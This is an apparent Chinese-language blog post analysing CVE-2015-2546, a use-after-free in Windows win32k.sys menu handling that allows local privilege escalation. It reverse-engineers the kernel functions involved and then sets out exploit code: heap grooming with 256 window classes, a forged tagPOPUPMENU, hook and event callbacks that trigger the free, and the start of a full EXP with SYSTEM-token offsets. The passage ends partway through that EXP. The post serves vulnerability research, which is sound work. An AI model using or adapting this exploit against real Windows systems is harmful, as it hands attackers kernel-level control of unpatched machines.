CVE-2015-2546 分析

文章目录

CVE-2015-2546

0x0 漏洞描述

  • 漏洞名称:

M i c r o s o f t   W i n d o w s   W i n 32 k   L o c a l   P r i v i l e g e   E s c a l a t i o n   V u l n e r a b i l i t y \textcolor{orange}{Microsoft\ Windows\ Win32k\ Local\ Privilege\ Escalation\ Vulnerability} Microsoft Windows Win32k Local Privilege Escalation Vulnerability​

  • 漏洞编号:CVE-2015-2546

  • 漏洞类型:UAF

  • 漏洞影响:本地提权

  • CVSS3.0N/A

  • CVSS2.06.9

win32k.sysWindows的多用户管理的sys文件 MicrosoftWindows是美国微软(Microsoft)公司发布的一系列操作系统。kernel-modedrivers是 其中的一个内核驱动管理软件。Graphics是其中的一个图形驱动器组件。MicrosoftWindows内核模式 驱动程序中存在特权提升漏洞,该漏洞源于程序中的函数 x x x M N M o u s e M o v e \textcolor{cornflowerblue}{xxxMNMouseMove} xxxMNMouseMove没有正确地处理内存中的对象。本地攻击者可利用该漏洞在内核模式下运行任意代码。

0x1 影响版本

Windows 7 Service Pack 1
Windows Vista SP2
Windows Server 2008 sp2
Windows Server 2008 r2 x64 sp1

0x2 漏洞分析

■ xxxMNMouseMove逆向分析

void __stdcall xxxMNMouseMove(tagPOPUPMENU *tagPopupMenu, tagMENUSTATE *tagMenuState, tagPOINTS tagPoints)
{
...
  tagPopupMenu_1 = tagPopupMenu;
  if ( tagPopupMenu_1 == tagPopupMenu_1->ppopupmenuRoot )// 判断当前弹出的菜单是否是根菜单
  {
    v4 = (unsigned int)tagPoints;
    tagMenuState_1 = tagMenuState;
    if ( tagPoints.x != tagMenuState->ptMouseLast.x || tagPoints.y != tagMenuState->ptMouseLast.y )// 弹出的菜单,其坐标相较于上一次弹出时的是否确实改变了
    {
      tagMenuState->ptMouseLast.x = tagPoints.x;// 更新坐标
      tagMenuState_1->ptMouseLast.y = SHIWORD(v4);
      cmdHitArea = (tagMENUWND *)xxxMNFindWindowFromPoint((int)tagPopupMenu_1, (int *)&tagPopupMenu, v4);// 根据坐标寻找弹出菜单窗口
      pwndPopup = cmdHitArea;
      if ( (*((_DWORD *)tagMenuState_1 + 1) & 0x8000) != 0 )
        xxxMNUpdateDraggingInfo(tagMenuState_1, cmdHitArea, tagPopupMenu);// 更新菜单拖拽信息
      if...
      if ( pwndPopup == (tagMENUWND *)-5 )      // MFMWFP_ALTMENU
      {
        if ( (*((_BYTE *)tagMenuState_1 + 4) & 8) != 0 )
        {
          xxxMNSwitchToAlternateMenu(tagPopupMenu_1);
LABEL_15:
          xxxMNButtonDown(tagPopupMenu_1, tagMenuState_1, tagPopupMenu, 0);
          return;
        }
      }
      else
      {
        if ( pwndPopup == (tagMENUWND *)-1 )    // MFMWFP_NOITEM
          goto LABEL_15;
        if ( pwndPopup )
        {
          if ( IsWindowBeingDestroyed((int)pwndPopup) )
            return;
          v13 = *((_DWORD *)gptiCurrent + 45);
          *((_DWORD *)gptiCurrent + 45) = &v13;
          v14 = pwndPopup;
          ++pwndPopup->wnd.head.cLockObj;
          v8 = *((_DWORD *)tagMenuState_1 + 1);
          ppopupmenu = pwndPopup->ppopupmenu;
          if ( (v8 & 0x100) != 0 && (v8 & 0x8000) == 0 && (*(_DWORD *)ppopupmenu & 0x100000) == 0 )
          {
            EventTrack.hwndTrack = (HWND)pwndPopup->wnd.head.h;
            EventTrack.dwFlags = 2;
            TrackMouseEvent(&EventTrack);
            *(_DWORD *)ppopupmenu |= 0x100000u;
            xxxSendMessage(pwndPopup, 0x20, (int)pwndPopup->wnd.head.h, (void *)2);//向系统发送WM_SETCURSOR消息
          }
          uFlags = xxxSendMessage(pwndPopup, 0x1E5, (int)tagPopupMenu, 0);//向系统发送MN_SELECTITEM消息
          if ( (uFlags & 0x10) != 0 && (uFlags & 3) == 0 && !xxxSendMessage(pwndPopup, 0x1F0, 0, 0) )//向系统发送MN_SETTIMERTOOPENHIERARCHY消息
            xxxMNHideNextHierarchy(ppopupmenu);
          goto LABEL_30;
        }
      }
      v11 = (tagMENUWND *)tagPopupMenu_1->spwndActivePopup;
      if...
      xxxMNSelectItem(tagPopupMenu_1, tagMenuState_1, -1);
    }
  }
}
  1. @line:5 函数判断当前弹出菜单是否为根菜单

  2. @line:9 函数判断当前弹出的菜单的位置是否相较于上一次有了改变

  3. @line:13 在满足12的条件下,函数通过调用 x x x M N F i n d W i n d o w F r o m P o i n t \textcolor{cornflowerblue}{xxxMNFindWindowFromPoint} xxxMNFindWindowFromPoint,取得鼠标所在位置处代表的菜单cmdHitArea

  4. 判断cmdHitArea 的类型,在cmdHitArea均不属于MFMWFP_ALTMENUMFMWFP_NOITEM且大于0时,将会来到**@line:32**

  5. @line:46 函数调用 T r a c k M o u s e E v e n t \textcolor{cornflowerblue}{TrackMouseEvent} TrackMouseEvent​函数跟踪鼠标事件

  6. @line:484捕获了鼠标事件,这里向系统发送**WM_SETCURSOR(0x20)**消息表示鼠标在菜单窗口中移动,并且未捕获鼠标输入

  7. @line:50 函数向系统发送MN_SELECTITEM(0x1E5)消息表示测试鼠标中了菜单中的哪一项,测试结果保存在uFlags中。

  8. @line:51如果鼠标选中的是弹出式菜单子项( u F l a g s   &   0 x 10   ! = 0 \textcolor{orange}{uFlags\ \&\ 0x10\ !=0} uFlags & 0x10 !=0​​),且子项并没有处于被禁用状态( u F l a g s   &   3 = = 0 \textcolor{orange}{uFlags\ \&\ 3==0} uFlags & 3==0​​​​),则向系统发送**MN_SETTIMERTOOPENHIERARCHY(0x1F0)**消息,目的是为打开弹出式子菜单设置定时器

  9. @line:52 如果定时器设置失败,即7中发送消息后返回值为0,函数则调用 x x x M N H i d e N e x t H i e r a r c h y \textcolor{cornflowerblue}{xxxMNHideNextHierarchy} xxxMNHideNextHierarchy​​​​函数关闭当前弹出式菜单对象的子弹出式菜单

■ xxxMNFindWindowFromPoint逆向分析

该函数的分析只关注针对弹出式菜单的操作,所以砍掉了多余的部分。

LONG __cdecl xxxMNFindWindowFromPoint(tagPOPUPMENU *retstr, tagPOPUPMENU *tagPopupMenu, unsigned int *pIndex, tagPOINT *screenPt)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]

  pIndex_1 = tagPopupMenu;
  *tagPopupMenu = 0;
  PopupMenu = retstr;
  NextPopup = retstr->spwndNextPopup;
  if ( NextPopup )
  {
    v24[0] = gptiCurrent->ptl;
    gptiCurrent->ptl = v24;
    v24[1] = NextPopup;
    ++NextPopup->head.cLockObj;
    retValue = xxxSendMessage(PopupMenu->spwndNextPopup, 0x1EB, &retstr, pIndex | (pIndex >> 16 << 16));// MN_FINDMENUWINDOWFROMPOINT
    ThreadUnlock1();
    if ( IsMFMWFPWindow(retValue) )
      retValue = HMValidateHandleNoSecure(retValue, 1);
    if ( retValue )
    {
      *pIndex_1 = retstr;
      return retValue;
    }
  }
  v9 = *PopupMenu;
  if ( (*PopupMenu & 1) == 0 )
  {
    retValue = PopupMenu->spwndPopupMenu;
    v21.y = SHIWORD(pIndex);
    v21.x = pIndex;
    if ( !PtInRect(&retValue->wnd.rcWindow, v21) )// 判断鼠标位置是否落在弹出式菜单的矩形区域内
      return 0;
LABEL_27:
    v16 = pIndex;
    v22.y = SHIWORD(pIndex);
    v22.x = pIndex;
    spmenu = PopupMenu->spmenu;
    v25 = SHIWORD(pIndex);
    itemHit = MNItemHitTest(spmenu, &retValue->wnd, v22);// 测试选中的子菜单是否可用
    v18 = (*PopupMenu & 1) == 0;
    retstr = itemHit;
    if ( !v18 )
    {
      if ( itemHit == -1 )
      {
        AlternateMenu = PopupMenu->spmenuAlternate;
        if ( !AlternateMenu )
          return 0;
        itemHit = MNItemHitTest(AlternateMenu, &retValue->wnd, __PAIR64__(v25, v16));// 测试可选菜单是否可用
        if ( itemHit == -1 )
          return 0;
        retValue = -5;
      }
      else
      {
        retValue = -1;
      }
    }
    *tagPopupMenu = itemHit;
    return retValue;
  }
  ...
}
  1. @line:15 函数一开始就向系统发送 MN_FINDMENUWINDOWFROMPOINT(0x1EB) 的消息,传入的参数也是当前的弹出式菜单和鼠标的坐标位置,此消息表示查找鼠标位置所在的菜单窗口的用户句柄,查找的任务交给子菜单对象(NextPopup)执行。函数将会把获取到的用户句柄转换成窗口对象指针,@line:17 如果指针指向的是真实的菜单窗口对象,则直接返回该指针 @line:22
  2. @line:25 如果NextPopup不存在关联的菜单窗口对象,或者鼠标选中的菜单属于可选菜单(0xFFFFFFFB)或者是无效菜单项(0xFFFFFFFF),则函数
  3. @line:31 检测当前鼠标位置是否在rcWindow的矩形区域内
  4. @line:39 测试鼠标选中的弹出式菜单项是否可用
  5. @line:46 如果没有子菜单项,但是关联了可选菜单,则判断可选菜单是否可用

■ xxxSendMessage逆向分析

x x x S e n d M e s s a g e ( t a g W N D ∗ t a g W N D , i n t m e s s a g e , i n t w P a r a m , i n t l P a r a m ) \textcolor{cornflowerblue}{xxxSendMessage(tagWND *tagWND, int message, int wParam, int lParam)} xxxSendMessage(tagWND∗tagWND,intmessage,intwParam,intlParam)实质调用了 x x x S e n d M e s s a g e T i m e o u t ( t a g W N D , m e s s a g e , w P a r a m , l P a r a m , 0 , 0 , 0 , ( P V O I D ) 1 ) \textcolor{cornflowerblue}{xxxSendMessageTimeout(tagWND, message, wParam, lParam, 0, 0, 0, (PVOID)1)} xxxSendMessageTimeout(tagWND,message,wParam,lParam,0,0,0,(PVOID)1),对 x x x S e n d M e s s a g e T i m e o u t \textcolor{cornflowerblue}{xxxSendMessageTimeout} xxxSendMessageTimeout的分析重点关注如下部分

...
if ( gptiCurrent == pwnd->head.pti )
    {
      if ( ((LOBYTE(gptiCurrent->fsHooks) | LOBYTE(gptiCurrent->pDeskInfo->fsHooks)) & 0x20) != 0 )
      {
        hwnd = pwnd->head.h;
        wparam = wParam;
        lparam = lParam;
        message_2 = message_1;
        v23 = 0;
        xxxCallHook(0, 0, (int)&lparam, 4);
      }
      if ( (*((_BYTE *)&pwnd->1 + 2) & 4) != 0 )
      {
        IoGetStackLimits(&uTimeout, &fuFlags);
        if ( (unsigned int)&fuFlags - uTimeout < 0x1000 )
          return 0;
        result = pwnd->lpfnWndProc(pwnd, message_1, wParam, lParam);
        if ( !lpdwResult )
          return result;
        *lpdwResult = result;
      }
...
  1. @line:11 如果处于当前窗口线程中,且用户调用 S e t W i n d o w s H o o k \textcolor{cornflowerblue}{SetWindowsHook} SetWindowsHook为窗口设置了WH_CALLWNDPROC类型的处理函数,则会先调用用户设置的处理函数,后调用菜单对象的服务例程 @line:18
  2. 菜单对象的服务例程会进入到 x x x M e n u W i n d o w P r o c \textcolor{cornflowerblue}{xxxMenuWindowProc} xxxMenuWindowProc
int __userpurge xxxMenuWindowProc@<eax>(tagPOINT *a1@<esi>, tagWND *pmenu, _DWORD *message, HDC hdc, LPRECT lprc)
{
  ...
  tagPopupMenu = pmenu_1->ppopupmenu;
  ...
  switch ( message_1 )
  {
    ...
     case 0x1EBu:
        v67 = xxxMNFindWindowFromPoint(tagPopupMenu, hdc, lprc, a1);
    ...
  }
  ...   
}

对于 MN_FINDMENUWINDOWFROMPOINT(0x1EB) 类型的消息处理,函数又会递归调用 x x x M N F i n d W i n d o w F r o m P o i n t \textcolor{cornflowerblue}{xxxMNFindWindowFromPoint} xxxMNFindWindowFromPoint去寻找关联的弹出式菜单窗口。

■ xxxMNFindWindowFromPoint简要执行流程

CVE-2015-2546 分析

■ xxxMNHideNextHierarchy逆向分析

int __stdcall xxxMNHideNextHierarchy(tagPOPUPMENU *tagMenu)
{
...
  NextPopup_1 = tagMenu->spwndNextPopup;
  if ( !NextPopup_1 )
    return 0;
  v4[0] = (int)gptiCurrent->ptl;
  gptiCurrent->ptl = (_TL *)v4;
  v4[1] = (int)NextPopup_1;
  ++NextPopup_1->head.cLockObj;
  NextPopup = tagMenu->spwndNextPopup;
  if ( NextPopup != tagMenu->spwndActivePopup )
    xxxSendMessage(NextPopup, 0x1E4, 0, 0);//MN_CLOSEHIERARCHY
  xxxSendMessage(tagMenu->spwndNextPopup, 0x1E5, -1, 0);//MN_SELECTITEM
  ThreadUnlock1();
  return 1;
}
  1. @line:11 函数获取当前弹出式菜单的下一个弹出式子菜单
  2. @line:12 如果下一个弹出式子菜单不是正处于活跃的弹出式菜单,则向系统发送MN_CLOSEHIERARCHY(0x1E4) 关闭它,@line:14 否则向系统发送 -1 消息,表示没有选中子菜单项

■ xxxMNDestroyHandler逆向分析

void __stdcall xxxMNDestroyHandler(tagPOPUPMENU *PopupMenu)
{
...

  if ( PopupMenu )
  {
    if ( PopupMenu->spwndNextPopup )
    {
      v1 = PopupMenu->spwndPopupMenu;
      if ( !v1 )
        v1 = PopupMenu->spwndNextPopup;
      v8 = gptiCurrent->ptl;
      gptiCurrent->ptl = &v8;
      v9 = v1;
      ++v1->head.cLockObj;
      xxxSendMessage(v1, 0x1E4, 0, 0);
      ThreadUnlock1();
    }
    v2 = PopupMenu->spmenu;
    if ( v2 )
    {
      v3 = PopupMenu->posSelectedItem;
      if ( v3 >= 0 && v3 < v2->cItems )
        v2->rgItems[v3].fState &= 0xFFFFFF7F;
    }
    if ( (*PopupMenu & 0x2000) != 0 )
      _KillTimer(PopupMenu->spwndPopupMenu, 65534);
    if ( (*PopupMenu & 0x4000) != 0 )
      _KillTimer(PopupMenu->spwndPopupMenu, 0xFFFF);
    if ( (*PopupMenu & 0x200000) != 0 )
    {
      v4 = PopupMenu->spwndNotify;
      if ( v4 )
      {
        v8 = gptiCurrent->ptl;
        gptiCurrent->ptl = &v8;
        v9 = v4;
        ++v4->head.cLockObj;
        v5 = PopupMenu->spmenu;
        if ( v5 )
          v5 = v5->head.h;
        xxxSendMessage(PopupMenu->spwndNotify, 0x125, v5, ((*PopupMenu >> 2) & 1) << 13 << 16);
        ThreadUnlock1();
      }
    }
    v6 = PopupMenu->spwndPopupMenu;
    *PopupMenu |= 0x8000u;
    if ( v6 )
      v6[1].head.h = 0;
    if ( (*(PopupMenu + 2) & 1) != 0 )          // 是否延迟释放
    {
      v7 = PopupMenu->ppopupmenuRoot;
      if ( v7 )
        *v7 |= 0x20000u;
    }
    else
    {
      MNFreePopup(PopupMenu);
    }
  }
}
  1. @line:16 函数遍历所有子菜单,并依次发送MN_CLOSEHIERARCHY试图关闭它们
  2. @line:27 @line:29 结束之前设置在popupmenu上的定时器
  3. @line:50 函数判断弹出式菜单是否具有延迟释放的标志,如果标志被置位则在合适的时机才释放该弹出式菜单;如果没有被置位则立即释放 @line:58

需要注意的是,一般系统自建的弹出式菜单,其延迟释放的标志默认置位的,这在 x x x M N O p e n H i e r a r c h y \textcolor{cornflowerblue}{xxxMNOpenHierarchy} xxxMNOpenHierarchy​中有所指示

tagWND *__stdcall xxxMNOpenHierarchy(tagPOPUPMENU *popupmenu, tagMENUSTATE *menustate)
{
 ...
 v14 = v13[1].head.h;
 if ( v14 )
 {
   *v14 |= 0x10000u;
   v14->ppmDelayedFree = popupmenu->ppopupmenuRoot->ppmDelayedFree;
   popupmenu->ppopupmenuRoot->ppmDelayedFree = v14;
 ...
}
void __stdcall MNFreePopup(tagPOPUPMENU *PopupMenu)
{
    ...
  if (PopupMenu == &gpopupMenu)
    gdwPUDFlags &= 0xFF7FFFFF;
  else
    ExFreePoolWithTag(PopupMenu, 0);
}

@line:7 函数释放掉弹出式菜单对象后,该对象的内存会被清零,但没有将该对象指针置0,存在UAF的隐患。

■ xxxMNMouseMove简要执行流程

CVE-2015-2546 分析

0x3 漏洞利用

前面对 x x x M N D e s t r o y H a n d l e r \textcolor{cornflowerblue}{xxxMNDestroyHandler} xxxMNDestroyHandler分逆向分析中可以知道释放后的tagPOPUPMENU结构体指针没有置空,存在UAF的可能。在 x x x M N M o u s e M o v e \textcolor{cornflowerblue}{xxxMNMouseMove} xxxMNMouseMove中,我们可以在调用 x x x S e n d M e s s a g e ( M N _ S E T T I M E R T O O P E N H I E R A R C H Y ) \textcolor{cornflowerblue}{xxxSendMessage(MN\_SETTIMERTOOPENHIERARCHY)} xxxSendMessage(MN_SETTIMERTOOPENHIERARCHY)时,释放掉tagPOPUPMENU结构体,然后返回失败,使得后续调用 x x x M N H i d e N e x t H i e r a r c h y \textcolor{cornflowerblue}{xxxMNHideNextHierarchy} xxxMNHideNextHierarchy函数。回顾之前的分析,可以知道后续函数会调用 p w n d − > l p f n W n d P r o c ( ) \textcolor{orange}{pwnd->lpfnWndProc()} pwnd−>lpfnWndProc()。没错,这正是位于tagWND结构体中的函数指针,假设我们能通过伪造tagWND结构,并利用UAF漏洞,就可以实现内核的任意代码执行了。

在此之前,还需要了解tagMNUtagWNDtagPOPUPMENU之间的关系和含义,因为这些符号在Win7下都有保留,所以这里就不全贴出来了。引用一位大佬的解释,即是:

菜单对象是菜单的实体,在内核中以结构体 tagMENU 实例的形式存在,用来描述菜单实体的菜单项、项数、大小等静态信息,但其本身并不负责菜单在屏幕中的显示,当用户进程调用 CreateMenu 等接口函数时系统在内核中创建菜单对象,当调用函数 DestroyMenu 或进程结束时菜单对象被销毁。

当需要在屏幕中的位置显示某菜单时,例如,用户在某窗口区域点击鼠标右键,在内核中系统将调用相关服务函数根据目标菜单对象创建对应的类型为 MENUCLASS 的菜单窗口对象。菜单窗口对象是窗口结构体 tagWND 对象的特殊类型,通常以结构体 tagMENUWND 的形式表示,负责描述菜单在屏幕中的显示位置、样式等动态信息,其扩展区域关联对应的弹出菜单对象。

弹出菜单对象 tagPOPUPMENU 作为菜单窗口对象的扩展对象,用来描述所代表的菜单的弹出状态,以及与菜单窗口对象、菜单对象、子菜单或父级菜单的菜单窗口对象等用户对象相互关联。

当某个菜单在屏幕中弹出时,菜单窗口对象和关联的弹出菜单对象被创建,当菜单被选择或取消时,该菜单将不再需要在屏幕中显示,此时系统将在适当时机销毁菜单窗口对象和弹出菜单对象。

  • tagMENU是一个描述菜单大小、选中项目的索引、项目列表等基本属性的结构。
  • tagPOPUPMENU是专门描述弹出式菜单的结构,该结构里面包含有tagMENU类型的成员,因为弹出式菜单中的菜单项也可能是一个菜单(子菜单)。
  • tagWND是描述窗口的结构,里面包含有窗口的句柄、窗口矩形信息、窗口中的菜单等等。

这三者结构上的从属关系如图所示:

CVE-2015-2546 分析

■ 漏洞利用简要流程图

CVE-2015-2546 分析

主函数中创建一个攻击线程函数 E x p l o i t T h r e a d h a n \textcolor{cornflowerblue}{Exploit_Threadhan} ExploitT​hreadhan,在 E x p l o i t T h r e a d \textcolor{cornflowerblue}{Exploit_Thread} ExploitT​hread中创建两个弹出式菜单MN_Normala子菜单和MN_Root根菜单,并将MN_Normal级联到MN_Root下。这两个菜单的作用就是触发漏洞函数 x x x M N M o u s e M o v e \textcolor{cornflowerblue}{xxxMNMouseMove} xxxMNMouseMove。

//创建两个弹出式菜单,其中一个是MN_Normal,另一个是MN_Root
HMENU MN_Normal= CreatePopupMenu();
HMENU MN_Root = CreatePopupMenu();
printf("[+]MN_Normal = 0x%p\n", MN_Normal);
printf("[+]MN_Root = 0x%p\n", MN_Root);
//设置菜单信息
MENUINFO mni = { 0 };
mni.cbSize = sizeof(MENUINFO);
mni.fMask = MIM_STYLE;
mni.dwStyle = MNS_AUTODISMISS | MNS_MODELESS | MNS_DRAGDROP;
SetMenuInfo(MN_Normal, &mni);
SetMenuInfo(MN_Root, &mni);
//并将MN_Normal作为MN_Root的一个菜单项
char szMnItemName[] = "item";
AppendMenuA(MN_Root, MF_BYPOSITION | MF_POPUP, (UINT_PTR)MN_Normal, szMnItemName);
AppendMenuA(MN_Normal, MF_BYPOSITION | MF_POPUP, 0, szMnItemName);

■ 内存释放后重用

然后进行堆风水,为利用UAF做铺垫。因为tagPOPUPMENU和 t a g C L S − > l p s z M e n u N a m e \textcolor{orange}{tagCLS->lpszMenuName} tagCLS−>lpszMenuName​​属于同一个内存属性,所以可以通过为窗口设置类风格,指定同样大小的MenuName,即可重用已经释放的tagPOPUPMENU对象的内存。这里创建256个窗口,以保证能够重用释放后的内存。

//创建0x100个窗口,为UAF做准备
for (int i = 0; i < 0x100; ) {
    atom = 0;
    WCHAR wzClsName[20];
    wsprintfW(wzClsName, L"%d", ((i + 1) * 1998));
    wcs.lpszClassName = wzClsName;
    atom = RegisterClassExW(&wcs);
    if (!atom)continue;
    HWND hTmp = 0;
    hTmp= CreateWindowExW(0, (LPCWSTR)atom, NULL, WS_OVERLAPPED,
                          0,
                          0,
                          0,
                          0,
                          NULL,
                          NULL,
                          GetModuleHandleA(NULL),
                          NULL);
    if (!hTmp)continue;

    g_hWndList[i++] = hTmp;
}
static VOID FakePopupMenu() {
	//伪造PopupMenu数据结构
	DWORD spPopupMenu[0xD] = {0};
	spPopupMenu[0] = 0x66666666;
	spPopupMenu[1] = 0x66666666;
	spPopupMenu[2] = 0x66666666;
	spPopupMenu[3] = (DWORD)g_sptagWnd;//tagPOPUPMENU->spwndNextPopup
	spPopupMenu[4] = 0x66666666;
	spPopupMenu[5] = 0x66666666;
	spPopupMenu[6] = 0x66666666;
	spPopupMenu[7] = (DWORD)g_sptagWnd;//tagPOPUPMENU->spwndActivePopup
	spPopupMenu[8] = 0x66666666;
	spPopupMenu[9] = 0x66666666;
	spPopupMenu[0xA] = 0x66666666;
	spPopupMenu[0xB] = 0x66666666;
	spPopupMenu[0xC] = (DWORD)0;

	for (int i = 0; i < 0x100; i++) {
		SetClassLongPtrW(g_hWndList[i], GCL_MENUNAME, (LONG)spPopupMenu);
	}	
}

伪造tagPOPUPMENU结构的数据,@line:19256个窗口设置MenuName,实现UAF

■ 漏洞利用的细节

为了在 x x x M N M o u s e M o v e \textcolor{cornflowerblue}{xxxMNMouseMove} xxxMNMouseMove调用 x x x M N H i d e N e x t H i e r a r c h y \textcolor{cornflowerblue}{xxxMNHideNextHierarchy} xxxMNHideNextHierarchy之前释放掉popupmenu,我们需要设置一个WH_CALLWNDPROC类型的HOOK。在收到MN_SETTIMERTOOPENHIERARCHY的消息时就释放popupmenu。但根据之前的分析,popupmenu必须在没有设置延迟释放的标志时才会立即被释放,而调用 C r e a t e P o p u p M e n u \textcolor{cornflowerblue}{CreatePopupMenu} CreatePopupMenu创建的菜单,其标志是置位的。因此,我们需要使用 C r e a t e W i n d o w E x W \textcolor{cornflowerblue}{CreateWindowExW} CreateWindowExW去创建一个弹出式受害者菜单g_hMenuVictim,该菜单将是漏洞利用的主要对象。

g_hMenuVictim = CreateWindowExW(
		WS_EX_TOOLWINDOW | WS_EX_DLGMODALFRAME | WS_EX_WINDOWEDGE,
		L"#32768",
		NULL,
		WS_POPUP | WS_BORDER,
		0,
		0,
		1,
		1,
		0,
		0,
		0,
		0
	);

正常情况下,在 x x x M N M o u s e M o v e : 62 \textcolor{orange}{xxxMNMouseMove:62} xxxMNMouseMove:62

uFlags = xxxSendMessage(&pwndPopup->wnd, 0x1E5, tagPopupMenu, 0);// MN_SELECTITEM
if ( (uFlags & 0x10) != 0 && (uFlags & 3) == 0 && !xxxSendMessage(&pwndPopup->wnd, 0x1F0, 0, 0) )// MN_SETTIMERTOOPENHIERARCHY
    xxxMNHideNextHierarchy(ppopupmenu);

条件不满足,为了能够顺利执行到 @line:3,需要在受害者菜单的窗口处理程序中对MN_SETTIMERTOOPENHIERARCHYMN_SELECTITEM消息进行特殊处理。

LRESULT WINAPI VictimMenuProc(HWND hwnd,UINT msg,WPARAM wParam,LPARAM lParam) {
	switch (msg)
	{
	case MN_SELECTITEM:
		return (LRESULT)0x10;
	case MN_SETTIMERTOOPENHIERARCHY:
		return (LRESULT)0;
	}
	return DefWindowProc(hwnd, msg, wParam, lParam);
}

接着还需创建一个普通主窗口hWndMain来承载菜单,然后使用 T r a c k P o p u p M e n u E x \textcolor{cornflowerblue}{TrackPopupMenuEx} TrackPopupMenuEx​弹出根菜单MN_Root,再注册一个EVENT_SYSTEM_MENUPOPUPSTART事件监听函数用来监听菜单弹出事件,最后建立消息循环,以保证上面创建的窗口和菜单都能正常收发消息。

HWND hWndMain  = CreateWindowExW(
    WS_EX_LAYERED | WS_EX_TOOLWINDOW | WS_EX_TOPMOST,//工具栏窗口
    (LPCWSTR)atom,
    NULL,
    WS_VISIBLE,
    0,
    0,
    1,
    1,
    NULL,
    NULL,
    GetModuleHandleA(0),
    NULL
);
if (!hWndMain) {
    printf("[!]Error:%d\n", __LINE__ - 15);
    return 0;
}
//自定义一个菜单,该菜单将用于漏洞利用
g_hMenuVictim = CreateWindowExW(
    WS_EX_TOOLWINDOW | WS_EX_DLGMODALFRAME | WS_EX_WINDOWEDGE,
    L"#32768",
    NULL,
    WS_POPUP | WS_BORDER,
    0,
    0,
    1,
    1,
    0,
    0,
    0,
    0
);
printf("[+]g_hMenuVictim = 0x%p\n", g_hMenuVictim);
//为g_hMenuVictim设置一个窗口处理程序
SetWindowLongW(g_hMenuVictim, GWL_WNDPROC, (LONG)VictimMenuProc);

((PTHRDESKHEAD)g_sptagWnd)->pti = ((PTHRDESKHEAD)HMValidateHandle(g_hMenuVictim, 1))->pti;

//设置消息钩子
g_hhWndHook = SetWindowsHookExW(WH_CALLWNDPROC, WindowsHookProc, GetModuleHandleA(0), GetCurrentThreadId());
//设置事件监听程序
SetWinEventHook(EVENT_SYSTEM_MENUPOPUPSTART, EVENT_SYSTEM_MENUPOPUPSTART,
                GetModuleHandleA(NULL),
                WindowsEventProc,
                GetCurrentProcessId(),
                GetCurrentThreadId(),
                0);

TrackPopupMenuEx(MN_Root, 0, 0, 0, hWndMain, NULL);
//建立消息循环
MSG msg = { 0 };
while (GetMessageW(&msg, NULL, 0, 0) && !g_bIsAttacked)
{
    TranslateMessage(&msg);
    DispatchMessageW(&msg);
}

触发漏洞的逻辑将在事件监听函数 W i n d o w s E v e n t P r o c \textcolor{cornflowerblue}{WindowsEventProc} WindowsEventProc​中实现。

static
VOID
CALLBACK
WindowsEventProc(
	HWINEVENTHOOK hWinEventHook,
	DWORD         event,
	HWND          hwnd,
	LONG          idObject,
	LONG          idChild,
	DWORD         idEventThread,
	DWORD         dwmsEventTime
) {
	printf("[+]Receive windows evet : EVENT_SYSTEM_MENUPOPUPSTART\n");
	switch (g_Counts)
	{
	case 0:
		g_hRootMenu = hwnd;
		printf("[+]g_hRootMenu = 0x%p\n", g_hRootMenu);
		//向根菜单发送鼠标点击消息
		SendMessageW(g_hRootMenu, WM_LBUTTONDOWN,0,MAKELONG(5,5));
		break;
	case 1:
		if (g_bIsAttacked)return;
		//保存此时的窗口句柄
		g_hHitMenu = hwnd;
		printf("[+]g_hHitMenu = 0x%p\n", g_hHitMenu);
		//向根菜单发送鼠标移动消息,从而进入漏洞函数
		SendMessageW(g_hRootMenu, WM_MOUSEMOVE, 0, MAKELONG(6, 6));
		break;
	}
	g_Counts++;
}

g_Counts表示菜单弹出的次数,理想情况下第一次弹出的是我们创建的根菜单MN_Root,实际测试的时候并不总是我们创建的根菜单,不过不影响漏洞利用,记录下它的句柄g_hRootMenu,然后向MN_Root发送消息WM_LBUTTONDOWN模拟鼠标单击该菜单,这样就会触发子菜单MN_Normal的弹出。此时监听到第二次菜单弹出事件,记录下句柄g_hHitMenu,并向根菜单发送鼠标移动消息,触发漏洞函数。

接着漏洞函数就会调用 x x x M N F i n d W i n d o w F r o m P o i n t \textcolor{cornflowerblue}{xxxMNFindWindowFromPoint} xxxMNFindWindowFromPoint获取tagMENUWND对象,但是该对象是对应根菜单的,所以我们需要欺骗 x x x M N F i n d W i n d o w F r o m P o i n t \textcolor{cornflowerblue}{xxxMNFindWindowFromPoint} xxxMNFindWindowFromPoint​​​返回受害者菜单的tagMENUWND对象。方法就是在HOOK函数中接收到MN_FINDMENUWINDOWFROMPOINT消息时,设置被点击菜单的窗口处理程序,在该处理程序中返回受害者窗口句柄。

■ EXP

#include <stdio.h>
#include<stdlib.h>
#include<windows.h>

#define MN_CLOSEHIERARCHY 0x1E4
#define MN_FINDMENUWINDOWFROMPOINT 0x1EB
#define MN_SETTIMERTOOPENHIERARCHY 0x1F0
#define MN_SELECTITEM 0x1E5

#define KTHREAD_OFFSET     0x124  // nt!_KPCR.PcrbData.CurrentThread
#define EPROCESS_OFFSET    0x050  // nt!_KTHREAD.ApcState.Process
#define PID_OFFSET         0x0B4  // nt!_EPROCESS.UniqueProcessId
#define PROCESS_LINK_OFFSET       0x0B8  // nt!_EPROCESS.ActiveProcessLinks.Flink
#define TOKEN_OFFSET       0x0F8  // nt!_EPROCESS.Token
#define SYSTEM_PID         0x004  // SYSTEM Process PID

typedef struct _THRDESKHEAD {
	HANDLE  h;
	DWORD   cLockObj;
	PVOID   pti;
	PVOID   rpdesk;
	PBYTE   pSelf;
} THRDESKHEAD, * PTHRDESKHEAD;

typedef PVOID(__fastcall* HMValidateHandle_t)(HANDLE, UINT);

HMValidateHandle_t HMValidateHandle = 0;

static HHOOK g_hhWndHook = 0;
static HWND g_hMenuVictim = 0;
static HWND g_hRootMenu = 0;
static HWND g_hHitMenu = 0;
static HWND g_hWndList[0x100] = { 0 };
static PDWORD g_sptagWnd = 0;

static int g_Counts = 0;
static BOOLEAN g_bIsAttacked = FALSE;

BOOLEAN Init() {
	int offset = 0;
	DWORD next_code = 0;
	for (int i = 0; i < 0x100; i++) {
		PUCHAR tr = (PUCHAR)IsMenu + i;
		if (*tr == 0xE8)
		{//找到调用HMValidateHandle的指令位置
			offset = *(int*)((PCHAR)IsMenu + i + 1);
			next_code = (DWORD)IsMenu + i + 5;
			HMValidateHandle = (HMValidateHandle_t)(next_code + offset);
			break;
		}
	}
	if (!HMValidateHandle) {
		printf("[!]Error: Can not find HMValidateHandle!\n");
		return FALSE;
	}
	printf("[+]Found HMValidateHandle = 0x%p\n", HMValidateHandle);
	return TRUE;
}

static VOID FakePopupMenu() {
